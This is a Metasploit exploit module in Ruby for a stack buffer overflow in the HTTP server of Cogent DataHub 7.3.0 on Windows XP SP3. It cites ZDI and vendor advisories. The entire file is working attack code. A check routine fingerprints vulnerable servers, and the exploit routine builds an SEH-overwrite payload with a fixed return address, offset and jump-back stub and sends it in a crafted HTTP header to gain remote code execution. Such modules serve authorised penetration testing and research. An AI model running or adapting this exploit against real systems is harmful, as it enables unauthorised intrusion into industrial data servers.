##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::HttpClient
	include Msf::Exploit::Remote::Seh

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Cogent DataHub HTTP Server Buffer Overflow',
			'Description'    => %q{
				This module exploits a stack based buffer overflow on Cogent DataHub 7.3.0. The
				vulnerability exists in the HTTP server - while handling HTTP headers, a
				strncpy() function is used in a dangerous way. This module has been tested
				successfully on Cogent DataHub 7.3.0 (Demo) on Windows XP SP3.
			},
			'Author'         =>
				[
					'rgod <rgod[at]autistici.org>',	# Vulnerability discovery
					'juan vazquez', # Metasploit module
				],
			'License'        => MSF_LICENSE,
			'References'     =>
				[
					[ 'OSVDB', '95819'],
					[ 'BID', '53455'],
					[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-178' ],
					[ 'URL', 'http://www.cogentdatahub.com/Info/130712_ZDI-CAN-1915_Response.html']
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Privileged'     => false,
			'Payload'        =>
				{
					'Space'       => 33692,
					'DisableNops' => true,
					'BadChars'    => "\x00\x0d\x0a\x3a"
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					# Tested with the Cogent DataHub 7.3.0 Demo
					# CogentDataHubV7.exe 7.3.0.70
					['Windows XP SP3 English / Cogent DataHub 7.3.0',
						{
							'Ret'         => 0x7ffc070e, # ppr # from NLS tables # Tested stable over Windows XP SP3 updates
							'Offset'      => 33692,
							'CrashLength' => 4000 # In order to ensure crash before the stack cookie check
						}
					],
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Jul 26 2013'
		))

	end

	def check
		res = send_request_cgi({
			'uri'          => "/datahub.asp",
			'method'       => 'GET',
		})

		if res and res.code == 200 and res.body =~ /<title>DataHub - Web Data Browser<\/title>/
			return Exploit::CheckCode::Detected
		end

		return Exploit::CheckCode::Safe
	end

	def exploit
		print_status("Trying target #{target.name}...")

		off = target['Offset'] + 8 # 8 => length of the seh_record
		bof = payload.encoded
		bof << rand_text_alpha(target['Offset'] - payload.encoded.length)
		bof << generate_seh_record(target.ret)
		bof << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + off.to_s).encode_string
		bof << rand_text(target['CrashLength'])

		print_status("Sending request to #{rhost}:#{rport}")

		send_request_cgi({
			'uri'          => "/",
			'method'       => 'GET',
			'raw_headers'  => "#{bof}: #{rand_text_alpha(20 + rand(20))}\r\n"
		})

	end
end